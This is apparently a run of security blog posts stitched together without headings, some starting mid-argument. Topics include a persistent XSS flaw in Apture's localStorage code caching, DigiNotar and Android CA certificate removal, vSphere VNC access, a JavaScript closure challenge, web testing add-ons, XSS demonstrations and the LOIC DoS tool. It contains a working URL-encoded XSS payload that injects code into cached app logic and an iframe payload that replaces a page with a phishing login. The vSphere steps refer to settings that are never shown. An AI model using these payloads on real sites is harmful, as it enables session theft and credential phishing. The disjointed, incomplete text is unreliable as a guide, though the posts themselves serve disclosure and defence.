To improve performance, particularly for mobile users, many websites have started caching app logic on client devices via HTML5 local storage. Unfortunately, this can make common injection vulnerabilities even more dangerous, as malicious code can invisibly persist in the cache. Real-world examples of this problem have now been discovered in third-party “widgets” embedded across many websites, creating security risks for the companies using such services – even if their sites are otherwise protected against attacks. Striking a balance between security and performance can be difficult, but certain precautions may help prevent an attacker from exploiting local storage caches.

Background

Throughout the history of web development, people have found ways to use and abuse various technologies beyond their intended purposes. Before CSS gained widespread support, many developers created complex layouts with HTML tables. Now that browsers provide far more presentation-layer tools, one can recreate complex images using only CSS. Such tricks can at times be very helpful in overcoming the limits of a browser-based environment, but they can also inadvertently create security issues.

One feature commonly classified as part of HTML5 is local storage, a method for saving content on a visitor’s device that offers more space and flexibility than previous options (such as cookies). While intended as a client-side analogue to database storage, local storage has increasingly served another purpose: code caching. If a web app routinely requires large blocks of JavaScript, it can avoid downloading those chunks every time a visitor returns to the app by saving a copy of them in local storage. This can provide a significant performance boost, particularly on mobile devices, where bandwidth and typical caches can be much more limited.

Local Storage Attacks

However, this approach opens new possibilities for attacking the app. If the local storage can be compromised, an attacker could inject malicious code that persists in the client-side cache. This payload would then be executed by the web app each time a user opened the site – even if they’d previously closed the browser. In fact, eradicating such code can be quite difficult, and the victim website might not even be able to detect an ongoing attack. Artur Janc, a security engineer at Google, outlined these issues in a talk last December (video) detailing many of the dangerous ramifications they present, but as Janc notes, such an attack was also previously described by a paper from researchers at Berkeley (PDF) in May 2010.

Given the restrictions on access to a site’s local storage, modifying code saved there would nearly always require another vulnerability in the app as an initial attack vector. However, just one entry point for injecting code in a page would be enough to change the cache, and such problems tend to be quite common across the web. Many of these vulnerabilities (described as cross-site scripting, or XSS) are “reflected”, in that they only change a particular request for content, but using local storage automatically makes them capable of launching persistent attacks. Essentially, caching code in HTML5 local storage actually makes any existing cross-site scripting vulnerabities more dangerous.

And as influential researcher Michal Zalewski also noted a few months before Janc’s presentation, “if content from the compromised origin is commonly embedded on third-party pages (think syndicated ‘like’ buttons or advertisements), with some luck, attacker’s JavaScript may become practically invincible”. In this age of mash-ups, data from a variety of sources are often mixed together, creating implicit trust relationships that may have significant effects on the security of an app. When a developer includes third-party JavaScript on his or her site, that code has the same capabilities as any other script on the page. Of course, modifying a static file on a remote server is generally not possible, even if cross-site scripting issues are present. But what if a third-party script from a site with XSS problems also stored code in local storage?

Vulnerabilities in the Wild

As it turns out, this is no longer a hypothetical situation. Apture was a start-up that provided pop-up boxes for exploring content related to highlighted terms in a page. The service garnered praise from various tech media outlets, and the company was bought out by Google a few months ago. Just over a week ago, Google shut down the embedded search functionality, which was still in use by several sites after the acquisition. Apture is one example of a third-party “widget” service that used local storage code caching – and a page on the same domain as those scripts had a reflected XSS vulnerability which could be used to inject malicious code in the cache. This code would then be executed in the context of the site using Apture, meaning the problem with Apture’s service affected the security of many sites across the web.

And while Apture’s widgets are now offline, another service still operating on high-profile sites was recently found to have a similar issue (though in this case, scripts were not executed from the original site’s origin). This problem has been reported and is currently being addressed by the service’s engineers.

Reducing Risk

Ultimately, there isn’t a simple way of avoiding this type of vulnerability while still getting the performance gains of client-side code caching. Another new HTML feature, application cache, is actually geared towards precisely this use case and would be harder to compromise, but it can create UI warnings in some browsers, such as Firefox. (Such warnings are a good practice, but may be unwanted for third-party widgets.) Ideally, any data in local storage should be treated as untrusted, even if it’s just content instead of code. But if local storage is used for scripts, it should be accessed from a domain that only serves static files. This will help reduce the likelihood of an XSS vulnerability that would have direct access to local storage, though the overall structure of an app should be taken into account to prevent indirect access as well. Newer browsers also support features such as sandboxed inline frames and Content Security Policy that could help limit the impact of embedded widgets if they became compromised.

I think it’s important to note that many smart people, including those behind Apture, have used local storage for caching app logic – even Google and Bing use a similar technique on their mobile sites – and that in theory, this method should not make a website less secure. And for many web developers, it may not be immediately obvious why local storage data should not be trusted. This is another case where a clever trick that serves its primary goal very well has unintended consequences when considered in a broader context. It’s also an example of possibly making trade-offs which balance usability with risk. Understanding these conflicts and connections is part of what information security is all about – and what we do at Gemini every day. As browser features continue to expand and sites continue to integrate services from other domains, it’s likely we’ll see many more examples of security issues evolving in complexity – and organizations will need to adapt to such changes while still reducing risk.

Special thanks to @0x6D6172696F, @lcamtuf, @theKos, and @kkotowicz for their help with this research!

Technical Details

For a site to use Apture widgets, the owner included a bit of JavaScript on their pages:

<script id="aptureScript">
(function (){var a=document.createElement("script");a.defer="true";
a.src="http://www.apture.com/js/apture.js?siteToken=XXXXXXX";
document.getElementsByTagName("head")[0].appendChild(a);})();
</script>

This dynamically loaded an external script hosted on apture.com with a site token specified. The external script included various parameters, such as title, logo, and search URLs that are associated with the account identified by the token. This code then loaded another script based on the user’s browser which actually began setting up the framework for Apture to integrate with the site’s content.

For browsers that support it, HTML5 cross-document messaging then came into play. The Apture script inserted an inline frame into the page that loaded a file from cdn.apture.com. A callback function allowed this iframe to pass messages back to the original window context where the script is running (the non-Apture site). This iframe then loaded the actual app logic and passed the code back to the original site via the cross-document messaging interface.

At this point, you’re probably wondering why Apture didn’t simply load the app logic as another script in the original page; in fact, that’s precisely what Apture did if the browser didn’t support newer HTML5 features. But Apture’s iframe setup allowed them to take advantage of another HTML5 innovation that made their service load much faster. Web storage functionality provides the localStorage object, a place to save key/value data on the client which allows for more space and flexibility than cookies. This storage is persistent across browser sessions, but is specific to each domain and access to it is restricted by a same-origin policy.

Apture used a localStorage object for cdn.apture.com not only to save data, such as an ID for tracking users, but to actually cache their app logic code. If the cdn.apture.com iframe detected that this cache already existed, it would simply load the code from localStorage rather than issue another HTTP request for the 272KB worth of JavaScript – saving time and bandwidth. Apture introduced this functionality in January 2011.

But how does one load code from localStorage? For Apture, with this line in the cross-domain callback function:

window.execScript ? window.execScript(f) : window.eval(f);

Seeing code such as this should immediately raise red flags in the mind of any web developer. Those familiar with browser security may have heard the adage that “eval is evil”, and it certainly applies here. The eval function (or the analogous execScript function also seen above) treats its input as valid JavaScript and simply executes it in the current window’s global context. If an attacker can send malicious code to the function, that code will also be executed – a class of vulnerabilities known as cross-site scripting (XSS).

In Apture’s case, though, the code came from the cdn.apture.com storage, so one might assume it can be trusted – in theory, only pages from cdn.apture.com can modify the localStorage cache. But once again, the power of cross-site scripting demonstrates that many seemingly trustworthy data sources are still potential avenues of attack. The presence of any XSS on a cdn.apture.com page, including reflected XSS, would allow an attacker to execute code in that domain’s context and thus modify the localStorage object.

As it turns out, Apture did have an exploitable XSS vulnerability. The cdn.apture.com domain actually mirrored www.apture.com, including a topic page that loaded a topic title from the URL path and a YouTube video ID from a GET parameter. Both of these values were included in the page without being escaped to prevent XSS. This example URL includes a script that appends “alert(document.cookie)” to the app logic in localStorage:

http://cdn.apture.com/search/xss?yt=%22%3E%3Cscript%3Eif%28
window.x%21%3D1%29%7BlocalStorage%5B%27app-49971756%27%5D
%3DlocalStorage%5B%27app-49971756%27%5D%2b%22alert%28
document.cookie%29%3B%22%7Dwindow.x%3D1%3C%2fscript%3E

The window.x logic ensures that the code only executes once, since the parameter appears in the topic page multiple times. In an actual attack, more code would likely be needed, as the specific localStorage key includes a version number that could change depending on the user. This does not stop the attack, however, as the correct version can be loaded by the script before making changes to localStorage.

Once this vulnerability is used to insert attack code into localStorage (e.g. if the above URL were loaded in an invisible iframe on an attacker’s site), visiting any site that had Apture’s widgets would cause the attack code to be loaded from the Apture iframe and executed in the context of the non-Apture site. And since this is essentially an example of DOM-based XSS (the code is loaded dynamically on the client side), requests sent to those sites’ servers would not include any XSS fingerprints, such as <script> in a GET or POST parameter. In summary, the localStorage code caching turned one reflected XSS vulnerability on Apture’s site into persistent, client-side XSS across all domains using their service.

SCADA systems are used in many industrial applications – water treatment, chemical manufacturing, product manufacturing, etc. More and more industries are becoming automated with robots and all kinds of other neat technologies replacing humans (and theoretically human error). Something has to control these systems, otherwise, you’re just replacing the labor force with folks who know how to control these automation tools. But something important to take away is that SCADA systems can literally control life and death situations – water treatment, medical device manufacture, chemical creation. If something goes wrong with these systems, the resulting device/product may kill someone.

The life and death situation is relatively new in the “hacker” community. Generally, the goal is money, and while it would really suck to not have money in your bank account, it’s very rare that that situation would directly kill you. What’s also new is that the makers of these automation tools have decided that having these tools connected to a network would be useful – without considering the security implications.

These devices have not historically been connected to a network. A computer sat on the manufacturing floor that controlled the device(s), and humans walked up to the computer and programmed it, or read data from it, or whatever needed to be done. Now, this computer is networked and takes commands from and sends data to other systems on the network. Computers are fundamentally dumb things – they do what they’re told, and in the case of SCADA systems, don’t necessarily check to see who told them to do something. So, if an attacker gets onto the same network that these automation devices are on and can figure out how to send commands (trivial for most attackers), they can make the device do what they want.

So, how do you protect against this? Until the automation device makers come up with better security – you want to keep these devices in an “inner sanctum”, protected from the rest of your network. Use a firewall with very specific rulesets – based on IP address or use sneakernet to transfer data from the systems on USB/hard drive. At the same time, ask your vendors for timelines on when they expect to have security built into their systems. You may not be able to replace all of your systems, but you can not buy from vendors who don’t take security seriously when you need new/replacement systems.

To enable the administration of your various virtual machines, storage, clusters, datacenters, and the like, you can now use the vSphere 5 Web Client. Before it can be used, it must be authorized; the best instructions I found for this are here. Follow the steps in the “Authorizing the vSphere Web Client (Server)” section. This is a one-time configuration necessary to enable the vSphere Web Client.

Once authenticated, you will see something that looks very similar to the Windows-based vSphere Client running in your browser.

This will satisfy most of your management needs, but it leaves out an all-important capability; the ability to remotely view the console of the systems. There’s a Console button, but it won’t work on a Mac. Once you’ve installed a machine, you can typically enable some sort of remote desktop capability in the operating system, but what do you do before then? If you’re running Windows, you use the vSphere client and open a console, but on a Mac, you’re out of luck. Right? Wrong.

There is an under-documented feature of vSphere that allows the capability of opening up VNC connections from the host directly to the console of the virtual machine. To perform this, we first have to enable incoming connections to your vSphere server, as vSphere 5 has an integrated firewall. This is the one step you will actually need to use the Windows vSphere Client; everything else can be done using the Web Client. This step needs to be executed once for each vSphere or ESXi host running virtual machines you want to access using VNC.

In the Windows vSphere client, choose the host you wish to enable VNC connections on. Choose the Configuration tab and on the left choose Security Profile. On the right, next to Firewall click Properties… As VMWare does not include VNC as a protocol, it is not listed as an available option. However the ports allowed by the gdbserver protocol will suit our purposes. Check the box next to gdbserver. (It is also wise to highlight the gdbserver line and click the Firewall… button and lock down where you will allow these VNC connections to take place from; in ours I restricted this to our intranet.) Click OK and you’ve now enabled the incoming ports to be used for VNC.

Finally, enabling VNC access to the console machines is a matter of setting advanced configuration parameters on each virtual machine, which can only be done when the virtual machine is off. To open up the advanced configuration:

• In the Windows vSphere client, choose the machine, click Edit Settings…, click the Options tab, choose Advanced->General on the left, and click Configuration Parameters… on the right.
• In the Web client, choose the machine, click Edit Settings… under the VM Hardware section, click VM Options, click Advanced, and click Edit Configuration….

In both cases, you now want to add three rows by clicking the Add Row button.

Once you’ve added these rows and click OK, you can now use a VNC client to connect to the console of the machine. Power up the machine, and then using Finder on the Mac, choose Go->Connect to Server (or hit Command-K), and type the following:

vnc://<ip or name of esxi host>:<port chosen in configuration settings>/

and click Connect. You will be prompted for your password, and depending on your client/version of OSX you may receive a warning about how keystroke encryption is not enabled. Accept the warning, and you will see the console of the virtual machine! (And note, since Macs don’t already use the three-finger salute, you can safely just press Ctrl-Alt-Del in that VNC-window to log into Windows systems!)

Once you’ve installed the operating system of choice, and enabled that OS’ remote desktop capability, you may want to disable this VNC access. Just shut down the VM, go back into the advanced options and change the RemoteDisplay.vnc.enabled setting to false.

Hopefully at some point soon, VMWare will enable a true web-based console application (which doesn’t require host-specific plugins to be installed) to go with their nice new web client. Until then, this is a reasonable workaround for accessing virtual machines using a Mac.

One trick was to hide the variable in a closure. In JavaScript, every function has its own local scope. If you define a variable within a function block, that variable is distinct from one defined in the global scope. In a way, the variable is hidden from code executed in the global scope, though the function can provide a gatekeeper method to access it. Consider this block of code:

document.cookie = "secret";

var Safe = function() {
    var cookie = document.cookie;
    this.get = function(magicWord) {
        if (magicWord === "please") {
            return cookie;
        }
        return null;
    }
}
window.Safe = new Safe();

document.cookie = "";

alert(document.cookie);
alert(Safe.get(""));
alert(Safe.get("please"));

The first alert returns nothing – document.cookie has been set to an empty string. The second alert only returns null, given the if statement in the definition of Safe.get. But with the third alert, the statement return cookie gets executed – and that statement is in the local scope of the function, so it returns the cookie variable defined in that scope, which is “secret”. This is the concept of a closure – the local variable of the function lives on as it was defined in that context.

Initially, this may seem to be a good defense against cross-site scripting, since the power of XSS comes from all a page’s scripts executing in the same scope. But as entries in the challenge demonstrated, a script has many resources for attacking itself. For instance, the challenge included code that checked whether a function requesting the secret variable was a mouse click event initiated by the user. That last bit came from checking the isTrusted property on the event, which should tell you whether the click came from a script or from the user.

But in JavaScript, new objects are created by cloning a model object called a prototype. If you change a particular prototype, any new variety of that object will inherit the changes you made. In this case, changing the isTrusted property of a mouse event’s prototype to always be true meant any spoofed clicks generated automatically by a script would fool the protective code and retrieve the secret value.

With each new bypass, Mario updated the code with new protections to block them. Eventually, he created a Firefox-specific version that essentially rewrote the entire page to get rid of the original Document Object Model and all its loopholes. If you’re interested in reading more about other bypass techniques and the challenge’s implications for client-side filtering, researcher Krzysztof Kotowicz has an excellent write-up that covers more details. But the challenge is also worth studying as a way of understanding more about web scripting and XSS. I certainly learned more about closures and event spoofing by tackling the puzzle, and it helps illustrate the difficulties of trying to protect against code running in the same origin and same scope. We may be moving towards DOM features that provide enough security to block even client-side attacks, but for right now, any untrusted script has myriad ways of overcoming client-side protections.

One example of script-less cross-site scripting affected some high-profile MySpace users in 2007. Attackers were able to inject HTML into celebrity MySpace pages, but the service filtered out typical <script> payloads. Seemingly innocent <a> links were allowed, though, and adding a bit of CSS allowed one to create an invisible link that covered the entire page. In this case, clicking anywhere on an infected profile led to a malware download.

This attack could be one of the first prominent cases of clickjacking, though the term is usually applied to attacks that hijack clicks with malicious inline frames (iframes). Allowing <iframe> elements in user-controlled HTML opens up a range of issues more broadly known as UI redressing. For instance, an iframe that covers the entire page could render a fake login form that appears to be legitimate given the site’s address, leading to a powerful phishing attack. Frames and forms can also be used to bypass CSRF protections.

Of course, you can sometimes launch simple CSRF attacks using only images. By setting the “src” attribute of an <img> element to another page, the browser will still execute a GET request to that page when it tries to load the image. Without proper CSRF protections, such an attack may be possible without XSS to begin with. But images can also be a source of information leakage or tracking, since GET requests to a malicious server will also likely include a “Referer” header.

While most XSS payloads do capitalize on the power of JavaScript, keep in mind that a browser can load scripts from many places besides within script tags. Event attributes for other elements and certain CSS properties are just two examples of places a script could slip in. And don’t forget about the risks of browser plug-ins – Flash 0-day issues or malicious PDF files can also be sources of trouble.

Finally, an issue this week served to remind that XSS is no longer just a concern within the context of a web browser. As HTML and JavaScript become a greater part of developing apps built outside the browser, XSS may pop up on other platforms. On Monday, a security researcher with the handle superevr disclosed an XSS vulnerability in Skype for iOS. By inserting HTML into the “Full Name” of a user, one could send messages that when viewed would launch code capable of stealing the phone’s address book. And this wasn’t the first time XSS has been a problem for Skype – a vulnerability in desktop versions was found a few months ago, and XSS with shared content could lead to problems back in 2008.

Alternate labels, such as “HTML injection” or “web content injection,” have been proposed to describe cross-site scripting, but the established term is likely here to say. Still, remember that protecting against XSS does not simply mean blocking script tags, and keep in mind the power of XSS when integrating web technologies with other platforms.

Remove a CA Cert from Android System
The bouncycastle library will be required, you can grab it here:
BouncyCastle Library

You’ll need the Android-SDK as well in order to utilize ADB. It can be found here if you don’t already have it:
Android SDK

1. Move the jar into the $JAVA_HOME%\lib\ext folder. It’s most likely in a place like this:
    

   C:\Program Files (x86)\Java\jre6\lib\ext\

    

2. Connect your USB cable to your phone and verify with adb that it is seen as attached. [%android-sdk% is the location of the Android SDK installed on your system]
    

   %android-sdk%\tools> adb devices

    

3. You’ll need to grab the cacerts.bks file from your phone using adb:
    

   %android-sdk%\tools>adb pull /system/etc/security/

   cacerts.bks cacerts.bks

    

4. Now let’s extract the cacerts.bks to a human readable format (there are other ways of reading bks files, but this is an easy route)

 

%android-sdk%\tools>"%JAVA_HOME%\keytool.exe" -keystore

cacerts.bks -storetype BKS -provider org.bouncycastle.jce

.provider.BouncyCastleProvider -storepass changeit -v

-list > calist.txt

 

5. Open the newly created calist.txt file and search for the desired CA Cert ( DigiNotar CA in our case). You’ll want to identify the alias name number. You’ll use this to identify the certificate so that you can remove it with keytool.exe:

 

*******************************************
Alias name: 61

Creation date: Feb 8, 2011

Entry type: trustedCertEntry

Owner: C=NL,O=DigiNotar,CN=DigiNotar Root CA,E=info@diginotar.nl

Issuer: C=NL,O=DigiNotar,CN=DigiNotar Root CA,E=info@diginotar.nl

Serial number: c76da9c910c4e2c9efe15d058933c4c

Valid from: Wed May 16 17:19:36 UTC 2007

until: Mon Mar 31 18:19:21 UTC 2025

Certificate fingerprints:

MD5:  7A:79:54:4D:07:92:3B:5B:FF:41:F0:0E:C7:39:A2:98

SHA1: C0:60:ED:44:CB:D8:81:BD:0E:F8:6C:0B:A2:87:DD:CF:81:67:47:8C

Signature algorithm name: SHA1WithRSAEncryption

Version: 3
*******************************************

 

%android-sdk%\tools>"%JAVA_HOME%\bin\keytool.exe" -keystore

cacerts.bks -storetype BKS -provider org.bouncycastle.jce.

provider.BouncyCastleProvider -storepass changeit -v -delete

-alias <alias name number>

 

For example:

%android-sdk%\tools>"%JAVA_HOME%\bin\keytool.exe" -keystore

cacerts.bks -storetype BKS -provider org.bouncycastle.jce

.provider.BouncyCastleProvider -storepass changeit -v

-delete -alias 61

 

You’ll probably want to repeat this process for the Comodo certificates as well if you’re really security minded (of course you are).

6. Once you’ve removed the certificate you can push the cacerts.bks back to your phone for usage:

 

%android-sdk%\tools>adb remount

 

%android-sdk%\tools>adb push cacert.bks /system/etc/security/

 

7. The final step will require you to reboot your phone so that Android can reload the cacerts.bks.
8. Enjoy!

If you have root access and don’t feel like going through ADB and all the SDK installation, the GuardianProject has created an Android app (CACertMan) that is targeted at doing the above for you and letting you manage your certs yourself. You can check it out here. It is still in beta and isn’t 100% compatible yet, hence the manual instructions above.

Another case of a certification authority (CA) issuing a certificate they never should have has surfaced. You may remember when we discussed the Comodo incident earlier this year. Now, a certificate issued by DigiNotar has surfaced in the wild, being valid for *.google.com – meaning it could be used to secure any transaction with any Google web property, including GMail. According to this pastebin post, this certificate “is being used in the wild against real people in Iran *right* now.” DigiNotar has issued a statement. Here is some information about why this is bad, and what steps you should take to remove this issuer from your trust lists.

What does this mean?

SSL, or TLS, is used to perform two things. First, it provides authentication of the web server to the web browser. (It can optionally provide authentication of the browser to the server, too, but that’s less common.) This means that the web browser knows that it is talking to a trusted web server and can share sensitive information with it. Second, it provides transport-layer encryption, so that the communications between the web browser and the web server are encrypted. This means that other parties cannot read what is being sent between the server and browser. This is widely used for most logins, because you don’t want your username and password being sent to the server “in the clear”. Anything sent “in the clear” can be read by anyone else on your network (or within range of your wireless network), or by anyone on any network that your traffic is routed through between you and the server.

In this case, a fraudulent certificate has been issued for *.google.com by a certification authority which is completely trusted by most modern web browsers. This means that the web browser will see this certificate, consider it valid for all traffic with Google (and GMail), and go ahead and create that little lock icon everyone has been trained to look for, which indicates your communication is secure.

Except, it’s not.

Google does not own this certificate. Google did not pay for this certificate. Therefore, when you communicate using this certificate, it’s not with Google. It’s with whoever managed to get that certificate issued, which according to the pastebin, is by groups wishing to do harm to individuals in Iran.

Personally, I don’t want to take a chance on whether it might be used against me, as well.

What should I do about it?

It is my opinion that issuance of a certificate such as this is an unforgivable sin.  Certification authorities must have the appropriate technical controls, and checks and balances, to prevent this from ever happening. There are plenty of certification authorities out there, and it is time to remove this one from my system and all systems I manage.

The good news is that the browser manufacturers also think this is a bad thing and are rushing to put together information on how to ensure you won’t trust this certificate.

• Mozilla is updating Firefox, Seamonkey, Thunderbird, and others to remove this; they also provide a link for manual removal.
• Apple hasn’t stepped up with information about it yet that I can find. If you’re running a Mac OSX machine, you should set your system to never trust the Diginotar certificate. Run Keychain Access, and on the left choose your “login” keychain. Down below, choose “All Items”. Then in the search box, search for DigiNotar. You should see one or two results for DigiNotar Root CA. Double-click it. Expand the Trust arrow, and where it says “When using this certificate:” choose Never Trust. Close the window and you will likely be prompted to enter your password to update the login keychain. Repeat for all occurrences of DigiNotar certificates. Update: It’s worse than I thought. This method does not work for EVSSL certificates in Safari. See this link for more information. Stay tuned for any updates Apple might make about this, a patch to Safari is probably necessary.
• Microsoft tells you you’re protected if you’re running Vista or later. If you’re not and still running XP or Windows 2000/2003, you should remove the certificate manually. The easiest way to do this is to launch Internet Explorer, and choose Tools->Internet Options. (Or just launch “Internet Options” from your control panel.) Go to the Content tab and click the Certificates button. Click the Trusted Root Certification Authorities tab. Find the DigiNotar Root CA and double-click it. (If it’s not there, you’re safe!) Click the Details tab and click the Edit Properties… button. Choose Disable all purposes for this certificate and click OK.
• Google Chrome users, you will benefit from the rapid updates to Chrome which will mark DigiNotar as untrusted. You can (should?) also take the Apple or Microsoft manual removal steps above to be sure you’re safe.

Additional good commentary (as always) from Moxie Marlinspike and Jacob Appelbaum.

1. HttpFox: I’ve blogged about this one in the past; it lists for you every HTTP request made during a given browser session, with details on headers, cookies, parameters, responses, and more. Very handy to monitor traffic when you’re browsing around an app.
2. HackBar: Another one I’ve mentioned before, the HackBar is a swiss-army knife that gives you some space for notes, common commands (such as base64 encoding or MD5 hashes), and perhaps best of all, an easy way to execute manual POST requests.
3. FireBug: Perhaps one of the best-known Firefox plug-ins, FireBug is a powerful tool for inspecting a page’s DOM, debugging scripts, and investigating script variables.
4. Cookies Manager+: As you can guess, this add-on lets you view and edit browser cookies to your heart’s content. Useful in tracking and spoofing session information.
5. Modify Headers: Many web apps use special headers in various ways; this tool lets you set such headers manually when making requests. Spoofing XMLHttpRequest commands is one use case.
6. User Agent Switcher: I’ve seen apps with vulnerabilities that only affected mobile versions of the site. This extension lets you imitate just about any browser, allowing you to test different site interfaces.
7. JavaScript Deobfuscator: This is one add-on I only recently discovered, but I can already tell it will be quite useful. It logs JavaScript functions as they’re compiled or executed by the browser, which is particularly useful in dealing with obfuscated scripts.

This list is by no means exhaustive and is geared towards manual testing, but it certainly provides a solid line-up for anyone looking to experiment with web app security. It also shows how easy it can be to get started tinkering with web apps. While I use Chrome for my everyday browsing, I use my tricked-out Firefox setup when I want to dig deeper. If you’re starting out, try using these add-ons against an educational app, such as WebGoat, Gruyere, or DVWA.

As others have noted, though, this fails to show the power of XSS, and may lead to a “so what?” reaction from developers not familiar with such a vulnerability. I like to compare alert(1) to showing that the safety of a gun is off. If someone has never handled or heard of a gun before, a small switch out of place won’t mean much. But when they see the gun fire and witness the damage a bullet can cause, the significance of that safety becomes apparent.

While I’m hardly the first to compile a list of example payloads that go beyond simple alert boxes (see also XSS – Exploitation beyond alert(‘xss’) and alert(‘xss’) – The slow death of XSS), I think it bears repeating that security professionals should be prepared to demonstrate the real dangers of XSS. Here are a few ideas to keep in your toolbox:

1. Expose cookies. My personal preference for a simple alert box when checking XSS is alert(document.cookie). Even if a developer is not familiar with XSS, most will likely recognize that access to the session data stored in a user’s cookie presents a problem. And note that if the injected script can alert those values, it can also send them to an external server, allowing an attacker to take control of the victim’s account
2. Gather real-world examples. While you’d certainly never want to just load a live payload on a vulnerable app, actual attacks against other sites are good testimonials for thinking about XSS. A few to get your file started:
   • Malware delivery on celebrity MySpace pages: Alicia Keys and other stars fell victim to an attack that didn’t even require JavaScript. An invisible <a> element covered the entire page, making any click send the user to a malicious site.
   • The Samy worm on MySpace: One of the fastest-spreading viruses used XSS. The Samy worm automatically friended other MySpace users and modified the profiles of victims. Its rapid spread caused MySpace to shut down temporarily.
   • Remote code execution on phones via the Android Market: A vulnerability in Google’s online store for Android apps could be used to send an install command when accessed from an Android phone. Once installed, the malicious app could then also be automatically launched.
   • Facebook bully video XSS payload: A recent attack exploiting a loophole in Facebook apps used event invites, chat messages, and Facebook pages to spread malicious links. The payload also included code for phishing account credentials.
3. Phishing demo. Create a page that mimics your app’s login form but submits to a different location, and save it somewhere safe but accessible. Add this bit of code to quickly replace a vulnerable page with your phishing page:
   

   x=document.createElement('iframe'),x.src='http://yourphishingpage/', x.height='100%',x.width='100%',x.frameBorder='0',document.body=x

4. Create a custom payload. Remember, once a script can be injected in a page, it basically has the same amount of access as any other script in the page. If you’re already familiar with code used by a vulnerable app, you can simply load a few of them with the XSS payload. With many sites using a range of client-side features, a few function calls can do quite a bit.
5. Set up a BeEF demo. The Browser Exploitation Framework, or BeEF for short, is a tool that essentially lets you create a small botnet. BeEF can be used to log keystrokes, detect features or history, and even launch Metasploit to load more sophisticated attacks.
6. Set up an XSS-based proxy. Tools such as Shell of the Future let you make requests for other sites from a victim’s browser and have the responses forwarded to your machine. This lets you tunnel traffic through other machines simply by exploiting XSS.

It’s not really a terribly complicated tool. All it does is flood out requests in one of three ways: http requests, TCP packets, or UDP packets. It allows the user to specify the target by URL or IP address, the timeout, port number, the number of threads used, and the attack mode – that being http, TCP, or UDP. If using http, the user can specify the subsite, and if using TCP or UDP, the payload can be given. There’s also a slider for the speed – though no information on what the actual bandwidth will be – and a checkbox for whether or not to wait for a reply. With this set of parameters given, the user need only tell it to go by hitting a button entitled “IMMA CHARGIN MAH LAZER” and watch the status across the bottom.

It’s not a very sophisticated tool; it doesn’t have anything to help it get past even rudimentary countermeasures. Given that it was written as a load-testing tool, that’s hardly surprising. What it lacks in sophistication, it does offer in simplicity. This is a tool which is simple, intuitive, and effective. In terms of usability, a great many professional developers could stand to learn from it. This is a tool which can be used with virtually no networking knowledge. Given that it’s a tool which is being given out to people with virtually no networking knowledge, it’s not a bad fit.

LOIC isn’t exactly a major threat to a large website. As is the nature of DOS attacks, it simply uses a brute-force attempt to flood a site. Smaller servers can readily be overwhelmed, of course, but this isn’t a new issue. That being said, LOIC has proven remarkably effective even though it is hamstrung both by its simplicity and by the steps users must take to preserve their anonymity while using it. So long as groups like Anonymous retain a use for such a tool, newer versions can be expected. While they may have newer tricks, they’ll likely remain by the curve technologically, preferring to keep the same simple usability which allows LOIC to be wielded by so many people.